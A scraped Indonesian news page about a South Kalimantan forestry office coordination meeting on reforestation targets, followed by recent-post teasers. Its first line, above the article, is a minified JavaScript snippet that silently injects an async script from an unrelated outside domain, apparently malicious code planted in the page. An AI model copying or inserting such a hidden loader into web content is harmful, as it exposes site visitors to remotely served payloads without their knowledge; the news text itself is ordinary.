(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Kejar Capaian Target Penanaman Revolusi Hijau, Dishut Gelar Rakor


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan bersama Unit Pelaksanaan Teknis Daerah (UPTD) Lingkup Dishut Prov Kalsel gelar Rapat Koordinasi (Rakor) percepatan pelaksanaan Gerakan Revolusi Hijau. Rakor tersebut dilaksanakan di Aula Rimbawan 1 Dishut Kalsel, Selasa (11/10/2022).

Rakor yang dibuka oleh Plt Kabid Pengelolaan Daerah Aliran Sungai dan Rehabilitasi Hutan dan Lahan (PDASRHL) I Gede Arya Subhakti tersebut dihadiri oleh perwakilan Kepala KPH lingkup Dishut Prov Kalsel, Kepala Tahura Sultan Adam, dan Perwakilan Balai Perbenihan Tanaman Hutan.

Dalam sambutannya, I Gede menjelaskan bahwa rakor hari ini akan lebih mendetailkan hasil-hasil rencana kegiatan UPTD lingkup Dishut Prov Kalsel ditahun 2022, seperti realisasi kegiatan Rehabilitasi Hutan dan Lahan dari Januari sampai di Oktober 2022.

 

Baca juga : Kecelakaan Mobil TNI Korban 3 Warga Meninggal di Barabai, Dandim 1002: Sopir Ngantuk, Mau Ambil BBM Kegiatan Karya Bhakti

“Nanti secara bergantian perwakilan kepala UPTD menyampaikan strategi yang ingin dilakukan selama dua bulan terakhir ke depan ini untuk kegiatan Rehabilitasi Hutan dan Lahan di setiap UPTD agar dapat bisa menyelesaikan targetnya 100 persen. Selain dapat disampaikan juga kebutuhan bibit di setiap UPTD lingkup Dishut Prov Kalsel untuk di Tahun 2023 mendatang,“ kata I Gede.

Turut hadir Kadishut Prov Kalsel Fathimatuzzahra yang dalam kesempatannya menyampaikan bahwa kegiatan Program Revolusi Hijau adalah program unggulan Dinas Kehutanan Provinsi Kalimantan Selatan dan juga salah satu program unggulan Kalimantan Selatan.

“Untuk tahun 2023 mendatang kita (Dinas Kehutanan Provinsi Kalimantan Selatan, Balai Perbenihan Tanaman Hutan, Kesatuan Pengelolaan Hutan) tidak lagi membuat bibit tanaman nantinya, karena sekarang pembuatan bibit dikomandani BPDASHL Barito. Namun untuk tahun 2023 nanti tetap kita akan usulkan anggarannya di awal tahun,” kata ‘Aya’ sapaan akrabnya.

Dalam Rakor Percepatan Gerakan Revolusi Hijau tersebut semua perwakilan Kepala UPTD lingkup Dishut Prov Kalsel menyampaikan hasil realisasi target kegiatan Rehabilitasi Hutan dan lahan, kemudian Anggaran Pendapatan dan Belanja Negara sampai dengan bulan Oktober 2022 serta penyampaian strategi untuk penyelesaian target 100 persen di kegiatan Rehabilitasi Hutan Dan Lahan di setiap UPTD juga penyampaian kebutuhan bibit (Jenis dan Jumlah) untuk kebutuhan di setiap UPTD lingkup Dishut Prov Kalsel di Tahun 2023 mendatang.(Kanalkalimantan.com/al)

Reporter  : al
Editor : kk


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

4 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

5 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

5 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

5 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

5 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

5 jam ago

This website uses cookies.